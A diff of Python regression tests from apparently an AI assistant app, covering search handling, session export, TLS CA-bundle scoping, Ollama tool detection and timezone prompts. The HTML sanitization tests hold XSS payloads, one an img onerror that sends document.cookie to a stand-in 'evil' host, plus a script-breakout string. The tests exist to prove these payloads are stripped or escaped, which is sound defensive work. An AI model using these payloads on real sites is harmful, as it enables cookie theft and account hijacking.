path.write_text(json.dumps(JSON_PRS), encoding="utf-8")
prs = audit.normalize_prs(JSON_PRS)
first = audit.render_json(prs)
second = audit.render_json(prs)
assert first == second
parsed = json.loads(first)
assert isinstance(parsed, dict)
def test_json_empty_input_handled_cleanly(tmp_path, capsys):
audit = load_module()
path = tmp_path / "prs.json"
path.write_text(json.dumps([]), encoding="utf-8")
exit_code = audit.main(["--input", str(path), "--format", "json"])
output = capsys.readouterr().out
assert exit_code == 0
parsed = json.loads(output)
assert parsed["summary"]["total_prs_analyzed"] == 0
assert parsed["hot_files"] == []
assert parsed["review_priorities"] == []
def test_help_includes_json_format_choice():
audit = load_module()
help_text = audit.build_parser().format_help()
assert "markdown" in help_text
assert "terminal" in help_text
assert "json" in help_text
+5 -5
View File
@@ -3,18 +3,18 @@ import asyncio
import services.search.service as svc_mod
from services.search.service import SearchService
def test_search_skips_non_dict_results(monkeypatch):
# comprehensive_web_search aggregates external provider + cache results;
# a malformed row (string/None) made the old loop call r.get and crash,
# losing the whole search.
async def fake_search(query, max_results=10, fetch_content=False):
return [
{"url": "https://a.com", "title": "A", "snippet": "x"},
def fake_search(query, max_pages=10, return_sources=False):
results = [
{"url": "https://a.com", "title": "A"},
"junk-row",
None,
{"url": "https://b.com", "title": "B", "snippet": "y"},
{"url": "https://b.com", "title": "B"},
]
return ("", results)
monkeypatch.setattr(svc_mod, "comprehensive_web_search", fake_search)
svc = SearchService()
+67
View File
@@ -1041,3 +1041,70 @@ def test_chat_active_document_lookup_is_owner_scoped():
assert "filter( DBDocument.id == active_doc_id, ).first()" not in flat
assert "filter(DBDocument.id == active_doc_id).first()" not in flat
assert "filter(DBDocument.id == _mem_id).first()" not in flat
# ── research report HTML sanitization (visual report stored XSS) ──
#
# `src.visual_report._md_to_html` renders the deep-research report, whose
# markdown is built from LLM output over crawled web pages (untrusted content).
# python-markdown passes raw HTML through verbatim, and report pages are served
# under a relaxed `script-src 'unsafe-inline'` CSP, so any markup surviving into
# the report would execute in the app origin. The render must allowlist-sanitize.
@pytest.mark.parametrize("payload", [
"<script>alert(document.domain)</script>",
'<img src=x onerror="fetch(\'//evil/\'+document.cookie)">',
"<svg onload=alert(1)>",
'<a href="javascript:alert(1)">x</a>',
])
def test_md_to_html_strips_active_content(payload):
from src.visual_report import _md_to_html
out = _md_to_html(f"Report body.\n\n{payload}").lower()
assert "<script" not in out
assert "onerror=" not in out
assert "onload=" not in out
assert "javascript:" not in out
def test_md_to_html_preserves_normal_report_formatting():
from src.visual_report import _md_to_html
md = (
"## Findings\n\n"
"**bold** and a [source](https://example.com/p).\n\n"
"| A | B |\n|---|---|\n| 1 | 2 |\n\n"
"```python\ndef x():\n return 1\n```\n\n"
"<details>\n<summary>Raw findings</summary>\n\ncontent\n</details>\n"
)
out = _md_to_html(md)
assert "<h2 id=" in out # heading + toc anchor preserved
assert "<table" in out and "<td" in out # table
assert "<pre" in out and "<code" in out # fenced code block
assert "<details" in out and "<summary" in out # collapsible raw-findings section
assert 'href="https://example.com/p"' in out # external link kept
assert 'rel="noopener' in out # ...and rel-hardened
def test_visual_report_escapes_request_category():
# `category` arrives straight from the /api/research/start request body with
# no enum validation and lands in <body class="category-{category}"> on a
# report page served under `script-src 'unsafe-inline'`, so it must be escaped
# or it's an attribute-injection XSS independent of the markdown body.
from src.visual_report import generate_visual_report
html = generate_visual_report(
question="q",
report_markdown="## H\n\nbody",
category='"><script>alert(document.domain)</script>',
)
assert "<script>alert(document.domain)" not in html # no breakout
assert "&lt;script&gt;" in html # rendered as inert text
# `category` has no type check at the request boundary, so a non-string
# value must coerce rather than crash the render (html.escape needs a str).
out = generate_visual_report(question="q", report_markdown="## H", category=12345)
assert "category-12345" in out
@@ -0,0 +1,50 @@
"""Regression: session export must tolerate non-string message content.
A message's ``content`` is a plain string for normal turns, but a multimodal
list of content blocks for image/vision turns, and ``None`` for assistant turns
that persisted only native tool_calls. The txt/html/md exporters in
``routes/session_routes.py`` joined and string-munged ``content`` directly, so:
- txt: ``"\n".join([..., <list>, ...])`` -> TypeError
- html: ``<list>.replace("&", "&amp;")`` -> AttributeError
- md: ``f"{<list>}"`` -> raw Python repr in output
``_content_to_text`` coerces all three shapes to plain text so export degrades
gracefully instead of returning a 500.
"""
from routes.session_routes import _content_to_text
def test_plain_string_passes_through_unchanged():
assert _content_to_text("hello world") == "hello world"
assert _content_to_text("") == ""
def test_multimodal_list_flattens_to_its_text_blocks():
content = [
{"type": "text", "text": "describe this"},
{"type": "image_url", "image_url": {"url": "data:image/png;base64,AAAA"}},
{"type": "text", "text": "thanks"},
]
assert _content_to_text(content) == "describe this\nthanks"
def test_none_content_becomes_empty_string():
# Assistant turns carrying only native tool_calls persist content as None.
assert _content_to_text(None) == ""
def test_list_without_text_blocks_is_empty_not_crash():
assert _content_to_text([{"type": "image_url", "image_url": {"url": "x"}}]) == ""
assert _content_to_text([]) == ""
def test_coerced_output_survives_the_export_operations():
# The exact operations that previously crashed must now succeed.
history = ["plain", [{"type": "text", "text": "img turn"}], None]
texts = [_content_to_text(c) for c in history]
# txt export path
assert "\n".join(texts) == "plain\nimg turn\n"
# html export path
for t in texts:
assert isinstance(t.replace("&", "&amp;"), str)
+149
View File
@@ -0,0 +1,149 @@
"""Scope tests for src/tls_overrides.
#722 / PR #769 added an opt-in extra CA bundle (LLM_CA_BUNDLE) for
private-CA LLM providers. The whole point is that the override stays
SCOPED — it must extend trust for the intended outbound LLM provider
requests only, and never:
- touch arbitrary URL fetching (web_fetch, document downloads, generic
httpx.get from any other module),
- touch browser-facing TLS (anything our app serves over HTTPS),
- weaken httpx's process-wide defaults,
- silently disable certificate verification.
These tests prove that. They enumerate the call sites of `llm_verify()`
in the source tree and assert they match an allowlist; they verify the
override module itself never reaches for the well-known "skip TLS
verification" knobs; and they pin the safe default (verify=True) when
LLM_CA_BUNDLE is unset.
If a future change threads `llm_verify()` into a non-LLM HTTP path, the
first test fails and the contributor either has to justify the new
caller (and add it to ALLOWED_CALLERS with a comment) or revert. That
keeps the security-sensitive helper hard to misuse.
"""
from __future__ import annotations
import os
import re
from pathlib import Path
REPO = Path(__file__).resolve().parents[1]
# Files that legitimately need llm_verify() applied to their outbound
# httpx calls because the URL is an LLM provider's API. Every caller here
# is a discrete LLM HTTP entry point and intentional. Any addition must
# come with its own justification in code review.
ALLOWED_CALLERS = frozenset({
"src/llm_core.py", # shared AsyncClient used by stream_llm
"routes/model_routes.py", # _probe_endpoint + _ping_endpoint
})
def _grep_files(pattern: str) -> set[str]:
"""Return the set of repo-relative .py file paths whose body matches
`pattern`. Skips tests, the override module itself, and worktree
scratch dirs."""
rx = re.compile(pattern)
hits: set[str] = set()
for path in REPO.rglob("*.py"):
rel = path.relative_to(REPO).as_posix()
if rel.startswith("tests/"):
continue
if rel == "src/tls_overrides.py": # definition site, not a caller
continue
if rel.startswith(".claude/") or "/.claude/" in rel:
continue
try:
body = path.read_text(encoding="utf-8", errors="ignore")
except OSError:
continue
if rx.search(body):
hits.add(rel)
return hits
def test_llm_verify_only_used_in_allowlisted_files():
"""llm_verify() must only be consumed by the LLM provider HTTP path.
The extra CA bundle is scoped to the two known LLM HTTP entry points.
If a future PR threads llm_verify() into web_fetch, search providers,
embeddings, gallery downloads, webhook delivery, or any other
arbitrary-URL caller, that's a scope expansion and a security review.
Adding a file to ALLOWED_CALLERS requires a written justification.
"""
callers = _grep_files(r"\bllm_verify\s*\(")
unexpected = callers - ALLOWED_CALLERS
missing = ALLOWED_CALLERS - callers
assert not unexpected, (
f"llm_verify() called from unexpected file(s): {sorted(unexpected)}. "
f"Expected scope: {sorted(ALLOWED_CALLERS)}. If the new caller is an "
"LLM provider HTTP entry point, add it to ALLOWED_CALLERS with a "
"comment; if it's not, do not thread the extra CA bundle into it."
)
assert not missing, (
f"llm_verify() no longer called from {sorted(missing)} — the "
"extra CA bundle integration regressed or the allowlist is stale."
)
def test_tls_overrides_does_not_weaken_global_tls():
"""src/tls_overrides must never reach for a TLS-weakening knob.
Several common ways to silently weaken TLS in Python:
- ssl._create_default_https_context = ssl._create_unverified_context
- ssl._create_unverified_context (used as a default)
- urllib3.disable_warnings(...)
- httpx.AsyncClient(verify=False) (anywhere — must stay verify=True
or an SSLContext)
- requests.packages.urllib3.disable_warnings(...)
The override module must only EXTEND trust by loading an additional
bundle into an ssl.SSLContext built on top of the system default. It
must never silently disable verification.
"""
body = (REPO / "src" / "tls_overrides.py").read_text(encoding="utf-8")
forbidden = [
r"_create_default_https_context\s*=",
r"_create_unverified_context",
r"disable_warnings",
r"verify\s*=\s*False",
]
for pat in forbidden:
assert not re.search(pat, body), (
f"src/tls_overrides.py contains forbidden pattern {pat!r}. "
"The extra CA bundle must only ADD trust, never weaken it."
)
def test_llm_verify_default_is_true_when_env_unset():
"""When LLM_CA_BUNDLE is unset, llm_verify() must return True so httpx
falls through to its built-in trust store. This is the safe default —
operators have to opt in to get any change at all."""
os.environ.pop("LLM_CA_BUNDLE", None)
import importlib
import src.tls_overrides as mod
importlib.reload(mod)
assert mod.llm_verify() is True, (
f"Default llm_verify() must be True (httpx built-in trust store); "
f"got {mod.llm_verify()!r}. An accidental non-True default would "
"turn an opt-in extension into a process-wide change."
)
def test_llm_verify_falls_back_to_true_for_missing_bundle_file():
"""Pointing LLM_CA_BUNDLE at a non-existent path must NOT raise and
must fall back to verify=True (system trust). A misconfigured env var
on a deploy box should never produce a silently TLS-disabled process."""
os.environ["LLM_CA_BUNDLE"] = "/nonexistent/path/extra-roots.pem"
try:
import importlib
import src.tls_overrides as mod
importlib.reload(mod)
assert mod.llm_verify() is True
finally:
os.environ.pop("LLM_CA_BUNDLE", None)
+57 -9
View File
@@ -1,13 +1,14 @@
"""Regression tests for the tool-support heuristic in stream_agent_loop.
Verifies two critical cases:
1. deepseek-r1 on a local Ollama endpoint must NOT enable native tool schemas
(Ollama returns HTTP 400 for these models when tools are sent).
1. local Ollama endpoints must NOT enable native tool schemas by default
(some models terminate after one token with schemas).
2. api.deepseek.com must still be treated as tool-capable via the host
allow-list (_API_HOSTS), so cloud deepseek users keep working.
"""
import pytest
from src.agent_loop import _API_HOSTS
from src.agent_loop import _API_HOSTS, _endpoint_lookup_keys, _is_ollama_openai_compat_url
from src.llm_core import _is_ollama_native_url
def _compute_is_api_model(model: str, endpoint_url: str, endpoint_supports=None) -> bool:
@@ -28,13 +29,18 @@ def _compute_is_api_model(model: str, endpoint_url: str, endpoint_supports=None)
if endpoint_supports is True:
return True
if endpoint_supports is False or model_no_tools:
if (
endpoint_supports is False
or model_no_tools
or _is_ollama_native_url(endpoint_url)
or _is_ollama_openai_compat_url(endpoint_url)
):
return False
return any(h in endpoint_url for h in _API_HOSTS) or model_supports_tools
class TestDeepSeekToolSupport:
# --- local Ollama cases (must NOT get tool schemas) ---
# --- local Ollama cases (must NOT get native tool schemas by default) ---
def test_deepseek_r1_7b_local_ollama_no_tools(self):
result = _compute_is_api_model(
@@ -56,6 +62,21 @@ class TestDeepSeekToolSupport:
"deepseek-r1:7b", "http://host.docker.internal:11434/v1"
) is False
def test_qwen_local_ollama_defaults_to_fenced_tools(self):
assert _compute_is_api_model(
"qwen3.5:4b", "http://localhost:11434/v1"
) is False
def test_gemma_local_ollama_defaults_to_fenced_tools(self):
assert _compute_is_api_model(
"gemma4:e4b", "http://host.docker.internal:11434/v1"
) is False
def test_qwen_native_ollama_defaults_to_fenced_tools(self):
assert _compute_is_api_model(
"qwen3.5:4b", "http://localhost:11434/api/chat"
) is False
# --- cloud API cases (must still get tool schemas) ---
def test_deepseek_cloud_api_gets_tools(self):
@@ -82,6 +103,20 @@ class TestDeepSeekToolSupport:
)
assert result is True
def test_endpoint_supports_true_overrides_ollama_default(self):
"""A user can still explicitly opt a known-good Ollama endpoint into
native schemas."""
result = _compute_is_api_model(
"qwen3.5:4b", "http://localhost:11434/v1", endpoint_supports=True
)
assert result is True
def test_endpoint_supports_true_overrides_native_ollama_default(self):
result = _compute_is_api_model(
"qwen3.5:4b", "http://localhost:11434/api/chat", endpoint_supports=True
)
assert result is True
def test_endpoint_supports_false_overrides_cloud(self):
"""supports_tools=False on an endpoint gates even cloud APIs."""
result = _compute_is_api_model(
@@ -91,11 +126,11 @@ class TestDeepSeekToolSupport:
# --- other local models unaffected ---
def test_qwen_local_still_gets_tools(self):
assert _compute_is_api_model("qwen2.5:14b", "http://localhost:11434/v1") is True
def test_qwen_local_non_ollama_still_gets_tools(self):
assert _compute_is_api_model("qwen2.5:14b", "http://localhost:8000/v1") is True
def test_llama_local_gets_tools_via_host(self):
assert _compute_is_api_model("llama3.2:3b", "http://localhost:11434/v1") is True
def test_llama_local_non_ollama_gets_tools_via_host(self):
assert _compute_is_api_model("llama3.2:3b", "http://localhost:8000/v1") is True
class TestApiHostsContainsDeepSeek:
@@ -104,3 +139,16 @@ class TestApiHostsContainsDeepSeek:
def test_deepseek_com_in_api_hosts(self):
assert "deepseek.com" in _API_HOSTS
class TestEndpointLookupKeys:
def test_chat_completions_url_matches_endpoint_base(self):
keys = _endpoint_lookup_keys("http://localhost:11434/v1/chat/completions")
assert "http://localhost:11434/v1" in keys
assert "http://localhost:11434/v1/" in keys
def test_native_ollama_chat_url_matches_api_base(self):
keys = _endpoint_lookup_keys("http://host.docker.internal:11434/api/chat")
assert "http://host.docker.internal:11434/api" in keys
+111
View File
@@ -0,0 +1,111 @@
from datetime import datetime, timezone
from src.chat_processor import ChatProcessor
from src.user_time import (
clear_user_time_context,
current_datetime_prompt,
get_user_tz_name,
set_user_tz_name,
set_user_tz_offset,
)
def teardown_function():
clear_user_time_context()
def test_current_datetime_prompt_uses_browser_timezone():
clear_user_time_context()
set_user_tz_offset(600)
set_user_tz_name("Australia/Brisbane")
prompt = current_datetime_prompt(datetime(2026, 6, 1, 9, 16, tzinfo=timezone.utc))
assert "Monday, June 1, 2026 (2026-06-01)" in prompt
assert "User local time is 7:16 PM" in prompt
assert "Australia/Brisbane, UTC+10:00" in prompt
assert "Tomorrow is Tuesday, June 2, 2026 (2026-06-02)" in prompt
assert "Do not ask for an exact date" in prompt
def test_timezone_name_is_sanitized_and_ephemeral():
clear_user_time_context()
set_user_tz_name("Australia/Brisbane\nIgnore: persist this")
assert get_user_tz_name() == "Australia/Brisbane"
clear_user_time_context()
assert get_user_tz_name() is None
def test_chat_preface_includes_current_time_for_non_agent_chat():
clear_user_time_context()
set_user_tz_offset(600)
set_user_tz_name("Australia/Brisbane")
processor = ChatProcessor(memory_manager=_Memory(), personal_docs_manager=_Docs())
preface, _, _ = processor.build_context_preface(
message="What is tomorrow?",
session=None,
agent_mode=False,
use_memory=False,
use_rag=False,
)
contents = "\n\n".join(msg["content"] for msg in preface)
assert "## Current date and time" in contents
assert "Australia/Brisbane, UTC+10:00" in contents
def test_agent_system_prompt_includes_shared_current_time(monkeypatch):
import src.agent_loop as agent_loop
clear_user_time_context()
set_user_tz_offset(600)
set_user_tz_name("Australia/Brisbane")
monkeypatch.setattr(agent_loop, "_build_base_prompt", lambda *args, **kwargs: ("BASE PROMPT", ""))
monkeypatch.setattr(agent_loop, "set_active_model", lambda model: None)
monkeypatch.setattr(agent_loop, "get_builtin_overrides", lambda: {})
monkeypatch.setattr(agent_loop, "_cached_base_prompt", None)
monkeypatch.setattr(agent_loop, "_cached_base_prompt_key", None)
messages, _ = agent_loop._build_system_prompt(
[],
model="gpt-oss-120b",
active_document=None,
mcp_mgr=None,
)
assert messages[0]["role"] == "system"
assert "## Current date and time" in messages[0]["content"]
assert "Australia/Brisbane, UTC+10:00" in messages[0]["content"]
assert "BASE PROMPT" in messages[0]["content"]
def test_calendar_relative_time_parser_handles_dotted_pm(monkeypatch):
import routes.calendar_routes as calendar_routes
class FixedDateTime(datetime):
@classmethod
def now(cls, tz=None):
value = datetime(2026, 6, 1, 9, 16, tzinfo=timezone.utc)
if tz is not None:
return value.astimezone(tz)
return value.replace(tzinfo=None)
clear_user_time_context()
set_user_tz_offset(600)
set_user_tz_name("Australia/Brisbane")
monkeypatch.setattr(calendar_routes, "datetime", FixedDateTime)
parsed = calendar_routes.parse_due_for_user("tomorrow at 1:30 p.m")
assert parsed == "2026-06-02T13:30:00+10:00"
class _Memory:
def load(self, owner=None):
return []
class _Docs:
rag_manager = None